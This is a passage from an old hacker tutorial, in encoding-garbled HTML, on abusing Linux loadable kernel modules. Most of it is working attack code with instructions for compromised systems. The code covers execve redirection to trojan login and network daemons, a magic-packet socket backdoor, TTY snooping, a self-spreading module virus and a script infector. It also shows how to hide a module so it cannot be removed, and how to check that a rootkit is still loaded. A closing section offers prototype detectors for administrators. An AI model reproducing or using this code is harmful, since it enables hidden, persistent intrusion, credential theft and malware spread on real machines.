clear after = studying=20 4.1.
I would improve only one point in plaguez approuch. I don't know = why he=20 used a selfmade atoi-function, simple_strtoul(...) would be the easier = way, but=20 these are peanuts. Of course, in a complete hide module you would put = file and=20 process hiding in one hacked getdents call (this is the way plaguez did=20 it).
Runar Jensen used another, more complicated way. He also hides = the PIDs=20 from the /proc directory, but the way he checks whether to hide or not = is a bit=20 different. He uses the flags field in the task structure. This unsigned = long=20 field normally uses the following constants to save some information on = the task=20 :
  • PF_PTRACED : current process is observed
  • PF_TRACESYS : " " " "
  • PF_STARTING : process is going to start
  • PF_EXITING : process is going to terminate
Now Runar = Jensen=20 adds his own constant (PF_INVISIBLE) which he uses to indicate that the=20 corresponding process should be invisible. So a PID found in /proc by = using=20 sys_getdents(...) must not be resolved in its name. You only have to = check for=20 the task flag field. This sounds easier than the 'name approach'. But = how to set=20 this flag for a process we want to hide. Runar Jensen used the easiest = way by=20 hooking sys_kill(...). The 'kill' command can send a special code (9 for = termination, for example) to any process speciafied by his PID. So start = your=20 process which is going to be invisible, do a 'ps' for getting its PID. = And use a=20 'kill -code PID'. The code field must be a value that is not used by the = system=20 (so 9 would be a bad choice); Runar Jensen took 32. So the module needs = to hook=20 sys_kill(...) and check for a code of 32. If so it must set the task = flags field=20 of the process specified through the PID given to sys_kill(...). This is = a way=20 to set the flag field. Now it is clear why this approach is a bit too=20 complicated for an easy practical use.=20

5.2 How to redirect Execution of files

In = certain=20 situations it could be very interesting to redirect the execution of a = file.=20 Those files could be /bin/login (like plaguez did), tcpd, etc.. This = would allow=20 you to insert any trojan without problem of checksum checks on those = files (you=20 don't need to change them). So let's again search the responsible = systemcall.=20 sys_execve(...) is the one we need. Let's take a look at plaguez way of=20 redirection (the original idea came from halflife) :
#define = MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; /*must be defined because of syscall macro used below*/ int errno; /*we define our own systemcall*/ int __NR_myexecve; /*we must use brk*/ static inline _syscall1(int, brk, void *, end_data_segment); int (*orig_execve) (const char *, const char *[], const char *[]); /*here plaguez's user -> kernel space transition specialized for strings is better than memcpy_fromfs(...)*/ char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } /*this is something like a systemcall macro called with SYS_execve, the asm code calls int 0x80 with the registers set in a way needed for our = own __NR_myexecve systemcall*/ int my_execve(const char *filename, const char *argv[], const char = *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), = "b"((long)=20 (filename)), "c"((long) (argv)), = "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char = *envp[]) { char *test; int ret, tmp; char *truc = "/bin/ls"; /*the file we *should* be executed*/ char *nouveau = "/bin/ps"; /*the new file which *will* be = executed*/ unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); /*get file which a user wants to execute*/ (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; /*do we have our truc file ?*/ if (!strcmp(test, truc))=20 { kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; /*set new program name (the program we want to execute instead of = /bin/ls or=20 whatever)*/ memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); /*execute it with the *same* arguments / environment*/ ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); /*no the program was not /bin/ls so execute it the normal way*/ ret = my_execve(filename, argv, envp); } return ret; } int init_module(void) /*module setup*/ { /*the following lines choose the systemcall number of our new = myexecve*/ __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0)=20 { sys_call_table[__NR_myexecve] = orig_execve;=20 sys_call_table[SYS_execve] = (void *) hacked_execve; } return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; = =20 } When you loaded this module, every call to /bin/ls will just = execute=20 /bin/ps. The following list gives you some ideas how to use this = redirection of=20 execve :=20
  • trojan /bin/login with a hacker login (how plaguez suggests)
  • trojan tcpd to open a rootshell on a certain port, or to filter = its=20 logging behaviour (remember CERT advisory on a trojan TCPD = version)
  • trojan inetd for a root shell
  • trojan httpd, sendmail, ... any server you can think of, for a = rootshell,=20 by issuing a special magic string
  • trojan tools like tripwire, L6
  • other system security relevant tools
There are = thousands of=20 other intersting programs to 'trojan', just use your brain.=20

6. Network (Socket) related Hacks

The = network is the=20 hacker's playground. So let's look at something which can help us.=20

6.1 How to controll Socket = Operations

There are many=20 things you can do by controlling Socket Operations. plaguez gave us a = nice=20 backdoor. He just intercepts the sys_socketcall systemcall, waiting for = a packet=20 with a certain length and a certain contents. So let's take a look at = his hacked=20 systemcall (I will only show the hacked_systemcall, because the rest is = equal to=20 every other LKM mentioned in this section) : int = hacked_socketcall(int call, unsigned long *args) { int ret, ret2, compt; /*our magic size*/ int MAGICSIZE=42; /*our magic contents*/ char *t = "packet_contents"; unsigned long *sargs = args; unsigned long a0, a1, mmm; void *buf; /*do the call*/ ret = (*o_socketcall) (call, args); /*did we have magicsize & and a recieve ?*/ if (ret == MAGICSIZE && call == SYS_RECVFROM)=20 { /*work on arguments*/ a0 = get_user(sargs); a1 = get_user(sargs + 1); buf = kmalloc(ret, GFP_KERNEL); memcpy_fromfs(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; /*do we have magic_contents ?*/ if (strstr(buf, mtroj))=20 { kfree(buf); ret2 = fork(); if (ret2 == 0)=20 { /*if so execute our proggy (shell or whatever you want...) */ mmm = current->mm->brk; ret2 = brk((void *) (mmm + 256)); memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); /*plaguez's execve implementation -> see 4.2*/ ret2 = my_execve((char *) mmm + 2, NULL, NULL); } } } return ret; } Ok, as always I added some comments to the code, which is a bit = ugly, but=20 working. The code intercepts every sys_socketcall (which is responsible = for=20 everything concerning socket-operations see I.2). Inside the hacked = systemcall=20 the code first issues a normal systemcall. After that the return value = and call=20 variables are checked. If it was a receive Socketcall and the = 'packetsize'=20 (...nothing to do with TCP/IP packets...) is ok it will check the = contents which=20 was received. If it can find our magic contents, the code can be = sure,that we=20 (hacker) want to start the backdoor program. This is done by=20 my_execve(...).
In my opinion this approach is very good, it would = also be=20 possible to wait for a speciel connect / close pattern, just be=20 creative.
Please remember that the methods mentioned above need a = service=20 listing on a certain port, because the receive function is only issued = by=20 daemons receiving data from an established connection. This is a = disadvantage,=20 because it could be a bit suspect for some paranoid admins out there. = Test those=20 backdoor LKM ideas first on your system to see what will happen. Find = your=20 favourite way of backdoor'ing the sys_socketcall, and use it on your = rooted=20 systems.=20

7. Ways to TTY Hijacking

TTY hijacking is = very=20 interesting and also something used since a very very long time. We can = grab=20 every input from a TTY we specify throug its major and minor number. In = Phrack=20 50 halflife published a really good LKM doing this. The following code = is ripped=20 from his LKM. It should show every beginner the basics of TTY hijacking = though=20 its no complete implementation, you cannot use it in any useful way, = because I=20 did not implement a way of logging the TTY input made by the = user. It's=20 just for those of you who want to understand the basics, so here we go : = #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <asm/io.h> #include <sys/sysmacros.h> int errno; /*the TTY we want to hijack*/ int tty_minor = 2; int tty_major = 4; extern void* sys_call_table[]; /*we need the write systemcall*/ static inline _syscall3(int, write, int, fd, char *, buf, size_t, = count); void *original_write; /* check if it is the tty we are looking for */ int is_fd_tty(int fd) { struct file *f=NULL; struct inode *inode=NULL; int mymajor=0; int myminor=0; if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || = !(inode=f->f_inode)) return 0; mymajor = major(inode->i_rdev); myminor = minor(inode->i_rdev); if(mymajor != tty_major) return 0; if(myminor != tty_minor) return 0; return 1; } /* this is the new write(2) replacement call */ extern int new_write(int fd, char *buf, size_t count) { int r; char *kernel_buf; if(is_fd_tty(fd)) { kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL); =20 memcpy_fromfs(kernel_buf, buf, count); /*at this point you can output buf whereever you want, it represents every input on the TTY device referenced by the chosen major / minor number I did not implement such a routine, because you will see a complete & very good TTY hijacking tool by halflife in appendix A */ kfree(kernel_buf); } sys_call_table[SYS_write] = original_write; r = write(fd, buf, count);=20 sys_call_table[SYS_write] = new_write; if(r == -1) return -errno; else return r; } int init_module(void) =20 { /*you should know / understand this...*/ original_write = sys_call_table[SYS_write]; sys_call_table[SYS_write] = new_write; return 0; } void cleanup_module(void) { /*no more hijacking*/ sys_call_table[SYS_write] = original_write; } The comments should make this code easy to read.The general idea = is to=20 intercept sys_write (see 4.2) and filtering the fd value as I mentioned = in 4.2.=20 After checking fd for the TTY we want to snoop, get the data written and = write=20 it to some log (not implemented in the example above).There are several = ways=20 where you can store the logs.halflife used a buffer (accessible through = an own=20 device) which is a good idea (he can also control his hijack'er using=20 ioctl-commands on his device).
I personally would recommand storing = the logs=20 in hidden (through LKM) file, and making the controlling through some = kind of=20 IPC. Take the way which works on your rooted system.

8. Virus writing with LKMs

Now we will leave = the=20 hacking part for a second and take a look at the world of virus coding = (the=20 ideas discussed here could also be interesting for hackers, so read = on...). I=20 will concentrate this discussion on the LKM infector made by = Stealthf0rk/SVAT.=20 In appendix A you will get the complete source, so this section will = only=20 discuss important techniques and functions. This LKM requires a Linux = system (it=20 was tested on a 2.0.33 system) and kerneld installed (I will explain=20 why).
First of all you have to know that this LKM infector does not = infect=20 normal elf executables (would also be possible,I will come to = that point=20 later->7.1), it only infects modules, which are loaded / = unloaded.=20 This loading / unloading is often managed by kerneld (see I.7). So = imagine a=20 module infected with the virus code; when loading this module you also = load the=20 virus LKM which uses hiding features (see 8). This virus module = intercepts the=20 sys_create_module and sys_delete_module (see I.2) systemcalls for = further=20 infection. Whenever a module is unloaded on that system it is infected = by the=20 new sys_delete_module systemcall. So every module requested by kerneld = (or=20 manually) will be infected when unloaded.
You could imagine the = following=20 scenario for the first infection :=20
  • admin is searching a network driver for his new interface card=20 (ethernet,...)
  • he starts searching the web
  • he finds a driver module which should work on his system & = downloads=20 it
  • he installs the module on his system [the module is=20 infected]
    --> the infector is installed, the system is=20 compromised
Of course, he did not download the source, he = was lazy=20 and took the risks using a binary file. So admins never trust any = binary=20 files (esp. modules). So I hope you see the chances / risks of LKM = infectors,=20 now let's look a bit closer at the LKM infector by SVAT.
Imagine you = have the=20 source for the virus LKM (a simple module, which intercepts = sys_create_module /=20 sys_delete_module and some other [more tricky] stuff). The first = question would=20 be how to infect an existing module (the host module). Well let's do = some=20 experimenting. Take two modules and 'cat' them together like # cat = module1.o >> module2.o After this try to insmod the resulting module2.o (which also = includes=20 module1.o at its end). # insmod module2.o Ok it worked, now check which modules are loaded on your system = # lsmod Module Pages Used by module2 1 0 So we know that by concatenating two modules the first one = (concerning=20 object code) will be loaded, the second one will be ignored. And there = will be=20 no error saying that insmod can not load corrupted code or so.
With = this in=20 mind, it should be clear that a host module could be infected by = cat host_module.o >> virus_module.o ren virus_module.o host_module.o This way loading host_module.o will load the virus with all its = nice LKM=20 features. But there is one problem, how do we load the actual = host_module ? It=20 would be very strange to a user / admin when his device driver would do = nothing.=20 Here we need the help of kerneld. As I said in I.7 you can use kerneld = to load a=20 module. Just use request_module("module_name") in your sources.This will = force=20 kerneld to load the specified module. But where do we get the original = host=20 module from ? It is packed in host_module.o (together with = virus_module.o). So=20 after compiling your virus_module.c to its objectcode you have to look = at its=20 size (how many bytes). After this you know where the original = host_module.o will=20 begin in the packed one (you must compile the virus_module two times : = the first=20 one to check the objectcode size, the second one with the source changed = concerning objectsize which must be hardcoded...). After these steps = your=20 virus_module should be able to extract the original host_module.o from = the=20 packed one. You have to save this extracted module somewhere, and load = it via=20 request_module("orig_host_module.o"). After loading the original = host_module.o=20 your virus_module (which is also loaded from the insmod [issued by user, = or=20 kerneld]) can start infecting any loaded modules.
Stealthf0rk (SVAT) = used the=20 sys_delete_module(...) systemcall for doing the infection, so let's take = a look=20 at his hacked systemcall (I only added some comments) : /*just the = hacked systemcall*/ int new_delete_module(char *modname) { /*number of infected modules*/ static int infected = 0; int retval = 0, i = 0; char *s = NULL, *name = NULL; =20 /*call the original sys_delete_module*/ =20 retval = old_delete_module(modname);=20 if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) return retval; =20 /*check files to infect -> this comes from hacked sys_create_module; = just a feature of *this* LKM infector, nothing generic for this type of = virus*/ for (i = 0; files2infect[i][0] && i < 7; i++)=20 { strcat(files2infect[i], ".o");=20 if ((s = get_mod_name(files2infect[i])) == NULL)=20 { return retval; } name = strcpy(name, s); if (!is_infected(name))=20 { /*this is just a macro wrapper for printk(...)*/ DPRINTK("try 2 infect %s as #%d\n", name, i); /*increase infection counter*/ infected++; /*the infect function*/ infectfile(name); } memset(files2infect[i], 0, 60 + 2); } /* for */ /* its enough */ /*how many modules were infected, if enough then stop and quit*/ if (infected >= ENOUGH) cleanup_module(); vfree(name); return retval; } Well there is only one function interesting in this systemcall:=20 infectfile(...). So let's examine that function (again only some = comments were=20 added by me) : int infectfile(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; =20 /*don't get confused, this is a macro define by the virus. It does the kernel space -> user space handling for systemcall arguments(see I.4)*/ BEGIN_KMEM /*open objectfile of the module which was unloaded*/ in = open(filename, O_RDONLY, 0640); /*create a temp. file*/ out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); /*see BEGIN_KMEM*/ END_KMEM =20 DPRINTK("in infectfile: in = %d out = %d\n", in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /*copy module objectcode (host) to file2*/ cp(file1, file2); BEGIN_KMEM file1->f_pos = 0; file2->f_pos = 0; /* write Vircode [from mem] */ DPRINTK("in infetcfile: filenanme = %s\n", filename); file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); cp(file2, file1); close(in); close(out); unlink(tmp); END_KMEM return 0; } =20 I think the infection function should be quite clear.
There is = only=20 thing left which I think is necessary to discuss : How does the infected = module=20 first start the virus, and load the original module (we know the theory, = but how=20 to do it in reality) ?
For answering this question lets take a look = at a=20 function called load_real_mod(char *path_name, char* name) which manages = that=20 problem : /* Is that simple: we disinfect the module [hide 'n seek] * and send a request to kerneld to load * the orig mod. N0 fuckin' parsing for symbols and headers * is needed - cool. */ int load_real_mod(char *path_name, char *name) { =09 int r = 0, i = 0; =09 struct file *file1, *file2; int in = 0, out = 0;=20 DPRINTK("in load_real_mod name = %s\n", path_name); if (VirCode) vfree(VirCode); VirCode = vmalloc(MODLEN); if (!VirCode) return -1; BEGIN_KMEM /*open the module just loaded (->the one which is already infected)*/ in = open(path_name, O_RDONLY, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; /* read Vircode [into mem] */ BEGIN_KMEM file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); close(in); END_KMEM /*split virus / orig. module*/ disinfect(path_name); /*load the orig. module with kerneld*/ r = request_module(name); DPRINTK("in load_real_mod: request_module = %d\n", r); return 0; } =09 It should be clear *why* this LKM infector need kerneld now, we = need to=20 load the original module by requesting it with request_module(...). I = hope you=20 understood this very basic journey through the world of LKM infectors = (virus).=20 The next sub sections will show some basic extensions / ideas concering = LKM=20 infectors.=20

8.1 How a LKM virus can infect any file (not = just=20 modules)

Please don't blame me for not showing a working example of = this=20 idea, I just don't have the time to implement it at the moment (look for = further=20 releases). As you saw in II.4.2 it is possible to catch the execute of = every=20 file using an intercepted sys_execve(...) systemcall. Now imagine a = hacked=20 systemcall which appends some data to the program that is going to be = executed.=20 The next time this program is started, it first starts our added part = and then=20 the original program (just a basic virus scheme). We all know that there = are=20 some existing Linux / unix viruses out there, so why don't we try to use = LKMs=20 infect our elf executables not just modules.We could infect our = executables,in a=20 way that they check for UID=0 and then load again our infection = module... I hope=20 you understood the general idea.
I have to admit, that the = modification=20 needed to elf files is quite tricky, but with enough time you could do = it (it=20 was done several times before, just take a look at existing Linux=20 viruses).
First of all you have to check for the file type which is = going to=20 be execute by sys_execve(...). There are several ways to do it; one of = the=20 fastest is to read some bytes from the file and checking them against = the ELF=20 string. After this you can use write(...) / read(...) / ... calls to = modify the=20 file, look at the LKM infector to see how it does it.
My theory would = stay=20 theory without any proof, so I present a very easy and useless LKM = *script*=20 infector. You cannot do anything virus like with it, it just infects a = script=20 with certain commands and nothing else; no real virus features.
I = show you=20 this example as a concept of LKMs infecting any file you execute. Even = Java=20 files could be infected, because of the features provided by the Linux = kernel.=20 Here comes the little LKM script infector : #define __KERNEL__ #define MODULE /*taken from the original LKM infector; it makes the whole LKM a lot = easier*/ #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> int __NR_myexecve; extern void *sys_call_table[]; int (*orig_execve) (const char *, const char *[], const char *[]); int (*open)(char *, int, int); int (*write)(unsigned int, char*, unsigned int); int (*read)(unsigned int, char*, unsigned int); int (*close)(int); /*see II.4.2 for explanation*/ int my_execve(const char *filename, const char *argv[], const char = *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), = "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } /*infected execve systemcall + infection routine*/ int hacked_execve(const char *filename, const char *argv[], const char = *envp[]) { char *test, j; int ret; int host = 0; /*just a buffer for reading up to 20 files (needed for identification = of execute file*/ test = (char *) kmalloc(21, GFP_KERNEL); /*open the host script, which is going to be executed*/ host=open(filename, O_RDWR|O_APPEND, 0640); BEGIN_KMEM /*read the first 20 bytes*/ read(host, test, 20); =20 /*is it a normal shell script (as you see, you can modify this for = *any* executable*/ if (strstr(test, "#!/bin/sh")!=NULL) {=20 /*a little debug message*/ printk("<1>INFECT !\n");=20 /*we are friendly and attach a peaceful command*/ write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME")); } END_KMEM /*modification is done, so close our host*/ close(host); /*free allocated memory*/=20 kfree(test); /*execute the file (the file is execute WITH the changes made by us*/ ret = my_execve(filename, argv, envp); return ret; } int init_module(void) /*module setup*/ { __NR_myexecve = 250; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0)=20 { printk("<1>everything OK\n"); sys_call_table[__NR_myexecve] = orig_execve;=20 sys_call_table[SYS_execve] = (void *) hacked_execve; } /*we need some functions*/ open = sys_call_table[__NR_open];=20 close = sys_call_table[__NR_close]; =20 write = sys_call_table[__NR_write]; read = sys_call_table[__NR_read]; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_execve]=orig_execve; = =20 } This is too easy to waste some words on it. Of course, this module = does=20 not need kerneld for spreading (interesting for kernel without = kerneld=20 support).
I hope you got the idea on infecting any executable, this = is a=20 very strong method of killing large systems.=20

8.2 How can a LKM virus help us to get = in

As you=20 know virus coders are not hackers, so what about interesting features = for=20 hackers. Think about this problem (only ten seconds), you should = realize, that a=20 whole system could be yours by introducing a trojan (infected) = LKM.
Remember=20 all the nice hacks we discussed till now.Even without trojans you could = hack a=20 system with LKMs. Just use a local buffer overflow to load a LKM in your = home=20 directoy. Believe me, it is easier to infect a system with a real good = LKM than=20 doing the same stuff as root again and again. It's more elagent to let = the LKM=20 make the work for you. Be CREATIVE...=20

9. Making our LKM invisible & unremovable =

Now=20 it's time to start talking about the most important / interesting Hack I = will=20 present. This idea comes from plaguez's LKM published in Phrack (other = people=20 like Solar Designer discussed this before...).
So far we are able to = hide=20 files, processes, directories, and whatever we want. But we = cannot hide=20 our own LKM. Just load a LKM and take a look at /proc/modules. = There are=20 many ways we can solve this problem. The first solution could be a = partial file=20 hiding (see II.4.3). This would be easy to implement, but there is a = better more=20 advanced and secure way. Using this technique you must also intercept = the=20 sys_query_module(...) systemcall. An example of this approach can be = seen in=20 A-b.
As I explained in I.1 a module is finally loaded by issuing a=20 init_module(...) systemcall which will start the module's init function. = init_module(...) gets an argument : struct mod_routines *routines. This=20 structure contains very important information for loading the LKM. It is = possible for us to manipulate some data from this structure in a way our = module=20 will have no name and no references. After this the system will no = longer show=20 our LKM in /proc/modules, because it ignores LKMs with no name and a = refernce=20 count equal to 0. The following lines show how to access the part of=20 mod_routines, in order to hide the module.
/*from Phrack & = AFHRM*/ int init_module() { register struct module *mp asm("%ebp"); // or whatever register it = is in *(char*)mp->name=0; mp->size=0; mp->ref=0; ... This code trusts in the fact that gcc did not manipulate the ebp = register=20 because we need it in order to find the right memory location. After = finding the=20 structure we can set the structure's name and references members to 0 = which will=20 make our module invisible and also unremovable, because you can only = remove LKMs=20 which the kernel knows, but our module is unknow to the = kernel.
Remember that=20 this trick only works if you use gcc in way it does not touch the = register you=20 need to access for getting the structure.You must use the following gcc = options=20 : #gcc -c -O3 -fomit-frame-pointer module.c=20 fomit-frame-pointer says cc not to keep frame pointer in registers = for=20 functions that don't need one. This keeps our register clean after the = function=20 call of init_module(...), so that we can access the structure.
In my = opinion=20 this is the most important trick, because it helps us to develope hidden = LKMs=20 which are also unremovable.=20

10. Other ways of abusing the = Kerneldaemon

In II.8=20 you saw one way of abusing kerneld. It helped us to spread the LKM = infector. It=20 could also be helpful for our LKM backdoor (see II.5.1). Imagine the = socketcall=20 loading a module instead of starting our backdoor shellscript or = program. You=20 could load a module adding an entry to passwd or inetd.conf. After = loading this=20 second LKM you have many possibilities of changing systemfiles. Again, = be=20 creative.=20

11. How to check for presents of our LKM

We = learned=20 many ways a module can help us to subvert a system. So imagine you code = yourself=20 a nice backdoor tool (or take an existing) which isn't implemented in = the LKM=20 you use on that system; just something like pingd, WWW remote shell, = shell, ....=20 How can you check after logging in on the system that your LKM is still = working?=20 Imagine what would happen if you enter a session and the admin is = waiting for=20 you without your LKM loaded (so no process hiding etc.). So you start = doing you=20 job on that system (reading your own logs, checking some mail traffic = and so on)=20 and every step is monitored by the admin. Well no good situation, we = must know=20 that our LKM is working with a simple check.
I suppose the following = way is a=20 good solution (although there may be many other good ones):=20
  • implement a special systemcall in your module
  • write a little user space program checking for that=20 systemcall
Here is a module which implements our 'check = systemcall'=20 : #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #define SYS_CHECK 200 extern void* sys_call_table[]; int sys_check() { return 666; =20 } int init_module(void) /*module setup*/ { sys_call_table[SYS_CHECK]=sys_check; return 0; } void cleanup_module(void) /*module shutdown*/ {} If you issue a systemcall with the number 200 in eax we should get = a=20 return of 666. So here is our user space program checking for this : = #include <linux/errno.h> #include <sys/syscall.h> #include <errno.h> extern void *sys_call_table[]; int check() { =20 __asm__("movl $200,%eax int $0x80"); } main() { int ret; ret = check(); if (ret!=666)=20 printf("Our module is *not* present !!\n"); else printf("Our module is present, continue...\n"); } In my opinion this is one of the easiest ways to check for = presents of our=20 LKM, just try it.

III. Soltutions (for admins)

1. LKM Detector Theory & Ideas

I think = it is time=20 to help admins securing their system from hostile LKMs.
Before = explaining=20 some theories remember the following for a secure system :
  • never install any LKMs you don't have the sources for (of = course,=20 this is also relevant for normal executables)
  • if you have the sources, check them (if you can). Remember the = tcpd trojan=20 problem. Large software packets are mostly quite complex to = understand, but if=20 you need a very secure system you should analyse the source=20 code.
Even if you follow those tips it could be possible = that an=20 intruder activates an LKM on your system (overflows etc.).
So what = about a=20 LKM logging every module loaded, and denying every load attempt from a = directory=20 different from a secure one (to avoid simple overflows; that's no = perfect=20 way...). The logging can be easily done by intercepting the = create_module(...)=20 systemcall. The same way you could check for the directory the loaded = module=20 comes from.
It would also be possible to deny any module loading, = but this=20 is a very bad way, because you really need them. So what about modifying = module=20 loading in a way you can supply a password, which will be checked in = your=20 intercepted create_module(...). If the password is correct the module = will be=20 loaded, if not it will be dropped.
It should be clear that you have = to hide=20 your LKM to make it unremovable. So let's take a look at some prototype=20 implemantations of the logging LKM and the password protected = create_module(...)=20 systemcall.

1.1 Practical Example of a prototype=20 Detector

Nothing to say about that simple implementation, just = intercept=20 sys_create_module(...) and log the names of modules which were loaded. = #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_create_module)(char*, unsigned long); int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; =20 kernel_name = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_name, name, 255); /*here we log to syslog, but you can log where you want*/ printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name); =20 ret=orig_create_module(name, size); return ret; } int init_module(void) /*module setup*/ { orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_create_module]=orig_create_module; = =20 } This is all you need, of course you should add the lines required = for=20 hiding the module, but this is no problem. After making it unremovable = this way,=20 a hacker can only modify the log file, but you could also save your = logs, to a=20 file unaccessible for the hacker (see II.1 for required tricks). Of = course you=20 can also intercept sys_init_module(...)which would also show every = module,=20 that's just a matter of taste.=20

1.2 Practical Example of a prototype password = protected=20 create_module(...)

This subsection will deal with the possibility to = add=20 authentication to module loading. We need two things to manage this task = :=20
  • a way to check module loading (easy)
  • a way to authenticate (quite difficult)
The first = point is very=20 easy to code, just intercept sys_create_module(...) and check some = variable,=20 which tells the kernel wether this load process is legal. But how to do=20 authentication. I must admit that I did not spend many seconds on = thinking about=20 this problem, so the solution is more than bad, but this is a LKM = article, so=20 use your brain, and create something better. My way to do it, was to = intercept=20 the stat(...) systemcall, which is used if you type any command,and the = system=20 needs to search it. So just type a password as command and the LKM will = check it=20 in the intercepted stat call [I know this is more than insecure; even a = Linux=20 starter would be able to defeat this authentication scheme, but (again) = this is=20 not the point here...]. Take a look at my implemtation (I ripped lots of = from=20 existing LKMs like the one by plaguez...):
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <sys/stat.h> extern void* sys_call_table[]; /*if lock_mod=1 THEN ALLOW LOADING A MODULE*/ int lock_mod=0; int __NR_myexecve; /*intercept create_module(...) and stat(...) systemcalls*/ int (*orig_create_module)(char*, unsigned long); int (*orig_stat) (const char *, struct old_stat*); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int hacked_stat(const char *filename, struct old_stat *buf) { char *name; int ret; char *password = "password"; /*yeah, a great password*/ name = (char *) kmalloc(255, GFP_KERNEL); (void) strncpy_fromfs(name, filename, 255); /*do we have our password ?*/ if (strstr(name, password)!=NULL)=20 {=20 /*allow loading a module for one time*/ lock_mod=1;=20 kfree(name); return 0; }=20 else=20 { kfree(name); ret = orig_stat(filename, buf); } return ret; } int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; =20 if (lock_mod==1) { lock_mod=0; ret=orig_create_module(name, size); return ret; } else { printk("<1>MOD-POL : Permission denied !\n"); return 0; } return ret; } int init_module(void) /*module setup*/ { __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; =20 sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve]; = =20 orig_stat=sys_call_table[SYS_prev_stat]; sys_call_table[SYS_prev_stat]=hacked_stat; orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; printk("<1>MOD-POL LOADED...\n"); return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_prev_stat]=orig_stat; = =20 sys_call_table[SYS_create_module]=orig_create_module; = =20 } This code should be clear. The following list tells you what to = improve in=20 this LKM in order to make it more secure, perhaps a bit too paranoid :) = :=20
